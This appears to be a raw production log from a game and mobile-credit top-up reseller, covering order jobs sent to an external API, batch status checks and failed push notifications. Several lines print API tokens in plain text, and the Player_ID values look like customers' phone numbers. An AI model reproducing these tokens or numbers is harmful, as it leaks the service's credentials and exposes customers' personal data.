[2026-03-24 16:59:56] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 16:59:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:59:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=1797a25c-eb6a-4a30-85f9-0e80b109cc03&Player_ID=0933114127  
[2026-03-24 16:59:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=1797a25c-eb6a-4a30-85f9-0e80b109cc03&Player_ID=0933114127","has_body":false} 
[2026-03-24 16:59:57] production.INFO: Operation sent successfully {"operation_id":163873,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YIh-1774360797","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 16:59:57"}},"processed_data":{"order_number":"ORD-YIh-1774360797","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 16:59:58] production.INFO: Constructing job for order: 178967  
[2026-03-24 17:00:00] production.INFO: Handling job for order: 178967  
[2026-03-24 17:00:00] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:00:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:00:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=2955109d-c79c-48bb-9ea4-a05778daa464&Player_ID=0933114127  
[2026-03-24 17:00:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=2955109d-c79c-48bb-9ea4-a05778daa464&Player_ID=0933114127","has_body":false} 
[2026-03-24 17:00:01] production.INFO: Operation sent successfully {"operation_id":163874,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CTHUvtG-1774360801","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:00:01"}},"processed_data":{"order_number":"ORD-CTHUvtG-1774360801","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:00:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04"} 
[2026-03-24 17:00:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","total_operations":11,"sites_count":2} 
[2026-03-24 17:00:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-j5G7ZL-1774360319"]} 
[2026-03-24 17:00:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:00:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 17:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 17:00:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 17:00:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 17:00:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":9,"order_ids":["ORD-8Fs-1774360698","ORD-uTN4h2-1774360713","ORD-G5bDJZY3-1774360750","ORD-exPo-1774360755","ORD-2CzQ-1774360759","ORD-EeBnvPF-1774360774","ORD-U4v-1774360790","ORD-YIh-1774360797","ORD-CTHUvtG-1774360801"]} 
[2026-03-24 17:00:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 17:00:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"orders_count":9} 
[2026-03-24 17:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CTHUvtG-1774360801","operation_id":163874} 
[2026-03-24 17:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-U4v-1774360790","operation_id":163872} 
[2026-03-24 17:00:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873} 
[2026-03-24 17:00:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"processed":6,"skipped":3,"updates_prepared":6} 
[2026-03-24 17:00:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"total_items":6,"chunks":1,"chunk_size":10} 
[2026-03-24 17:00:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"count":6} 
[2026-03-24 17:00:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"count":6} 
[2026-03-24 17:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178962} 
[2026-03-24 17:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":770,"notification_type":"order_approved","reference_id":178957} 
[2026-03-24 17:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":366,"notification_type":"order_approved","reference_id":178964} 
[2026-03-24 17:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178961} 
[2026-03-24 17:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178959} 
[2026-03-24 17:00:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":770,"notification_type":"order_approved","reference_id":178958} 
[2026-03-24 17:00:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"chunk_number":1,"processed":6,"errors":0,"total_operations":6,"total_orders":6,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:00:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"total_processed":6,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:00:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"processed":6,"errors":0} 
[2026-03-24 17:00:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"processed":6,"errors":0} 
[2026-03-24 17:00:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Qy8QEL79W0hJBNRSmyKojqXvNIf5AY8t","execution_time":"2026-03-24 17:00:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873} 
[2026-03-24 17:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 17:00:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:00:04] production.INFO: Executing GetProducts task...  
[2026-03-24 17:00:06] production.INFO: async() رجع: true  
[2026-03-24 17:00:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:00:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:00:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:00:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:00:09] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:00:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 17:00:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 17:00:12] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:00:14] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 17:00:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 770  
[2026-03-24 17:00:32] production.INFO: Constructing job for order: 178968  
[2026-03-24 17:00:35] production.INFO: Handling job for order: 178968  
[2026-03-24 17:00:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:00:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:00:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=369d18ca-cea7-4cb9-8851-b03450d0045b&Player_ID=49499494  
[2026-03-24 17:00:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=369d18ca-cea7-4cb9-8851-b03450d0045b&Player_ID=49499494","has_body":false} 
[2026-03-24 17:00:36] production.INFO: Operation sent successfully {"operation_id":163875,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xHxbFfAW-1774360836","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 17:00:36"}},"processed_data":{"order_number":"ORD-xHxbFfAW-1774360836","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 17:00:57] production.INFO: Constructing job for order: 178969  
[2026-03-24 17:01:00] production.INFO: Handling job for order: 178969  
[2026-03-24 17:01:00] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:01:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:01:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=240d1d44-25a7-43e9-82cf-0d16a10563b4&Player_ID=0997478143  
[2026-03-24 17:01:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=240d1d44-25a7-43e9-82cf-0d16a10563b4&Player_ID=0997478143","has_body":false} 
[2026-03-24 17:01:01] production.INFO: Operation sent successfully {"operation_id":163876,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TtJ-1774360861","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:01:01"}},"processed_data":{"order_number":"ORD-TtJ-1774360861","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:01:03] production.INFO: Constructing job for order: 178970  
[2026-03-24 17:01:04] production.INFO: Handling job for order: 178970  
[2026-03-24 17:01:04] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:01:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:01:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=6808f7b9-1d44-4385-8a85-29380d84054e&Player_ID=0997478143  
[2026-03-24 17:01:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=6808f7b9-1d44-4385-8a85-29380d84054e&Player_ID=0997478143","has_body":false} 
[2026-03-24 17:01:05] production.INFO: Operation sent successfully {"operation_id":163877,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cnd-1774360864","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:01:05"}},"processed_data":{"order_number":"ORD-cnd-1774360864","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:01:08] production.INFO: Constructing job for order: 178971  
[2026-03-24 17:01:11] production.INFO: Handling job for order: 178971  
[2026-03-24 17:01:11] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 17:01:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:01:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=65437050-baf9-4bd6-89ae-9659175868a2&Player_ID=0997478143  
[2026-03-24 17:01:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/27/params?qty=1&uuid=65437050-baf9-4bd6-89ae-9659175868a2&Player_ID=0997478143","has_body":false} 
[2026-03-24 17:01:11] production.INFO: Operation sent successfully {"operation_id":163878,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Q06-1774360871","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 17:01:11"}},"processed_data":{"order_number":"ORD-Q06-1774360871","amount":4.05820999999999987295495884609408676624298095703125,"status":"processing","product":"3.85 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 17:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02"} 
[2026-03-24 17:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","total_operations":9,"sites_count":2} 
[2026-03-24 17:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-vaAee9-1774358736","ORD-j5G7ZL-1774360319","ORD-xHxbFfAW-1774360836"]} 
[2026-03-24 17:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 17:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 17:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"count":1} 
[2026-03-24 17:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"count":1} 
[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"user_id":1019,"notification_type":"order_approved","reference_id":178968} 
[2026-03-24 17:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"processed":1,"errors":0} 
[2026-03-24 17:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"processed":1,"errors":0} 
[2026-03-24 17:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"orders_count":6,"order_ids":["ORD-U4v-1774360790","ORD-YIh-1774360797","ORD-CTHUvtG-1774360801","ORD-TtJ-1774360861","ORD-cnd-1774360864","ORD-Q06-1774360871"]} 
[2026-03-24 17:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875} 
[2026-03-24 17:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xHxbFfAW-1774360836","operation_id":163875,"orders_count":6} 
[2026-03-24 17:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"processed":6,"skipped":0,"updates_prepared":6} 
[2026-03-24 17:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"total_items":6,"chunks":1,"chunk_size":10} 
[2026-03-24 17:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"count":6} 
[2026-03-24 17:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"count":6} 
[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178970} 
[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178967} 
[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178971} 
[2026-03-24 17:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Stg1C6cZRPOr9GMY24phjacY7jrFaQ34","execution_time":"2026-03-24 17:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YIh-1774360797","operation_id":163873,"user_id":587,"notification_type":"order_approved","reference_id":178969} 
